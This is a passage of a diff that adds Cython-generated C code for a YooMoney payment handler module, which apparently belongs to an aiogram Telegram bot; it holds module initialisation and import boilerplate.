*spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_yoomoney_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_yoomoney_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "yoomoney_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC inityoomoney_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC inityoomoney_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_yoomoney_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_yoomoney_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_yoomoney_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'yoomoney_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("yoomoney_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "yoomoney_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_yoomoney_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__yoomoney_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.yoomoney_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.yoomoney_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/yoomoney_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hashlib, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_hashlib, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":2 + * import hashlib + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 2, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":4 + * from typing import Any + * + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_F)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Router)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_types)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":5 + * + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":6 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_State)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_State); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":7 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 7, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardMarkup); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardMarkup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_InlineKeyboardMarkup)) __PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardMarkup, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":8 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * from aiohttp import web + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 8, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":9 + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web # <<<<<<<<<<<<<< + * + * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_web); + __Pyx_GIVEREF(__pyx_n_s_web); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_web)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiohttp, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_web, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":11 + * from aiohttp import web + * + * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY # <<<<<<<<<<<<<< + * from database import ( + * add_connection, + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_YOOMONEY_ENABLE); + __Pyx_GIVEREF(__pyx_n_s_YOOMONEY_ENABLE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_YOOMONEY_ENABLE)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_YOOMONEY_ID); + __Pyx_GIVEREF(__pyx_n_s_YOOMONEY_ID); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_YOOMONEY_ID)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_YOOMONEY_SECRET_KEY); + __Pyx_GIVEREF(__pyx_n_s_YOOMONEY_SECRET_KEY); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_YOOMONEY_SECRET_KEY)) __PYX_ERR(0, 11, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_config, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOMONEY_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOMONEY_ENABLE, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOMONEY_ID, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOMONEY_SECRET_KEY); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOMONEY_SECRET_KEY, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":13 + * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_2 = PyList_New(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 13, __pyx_L1_error); + 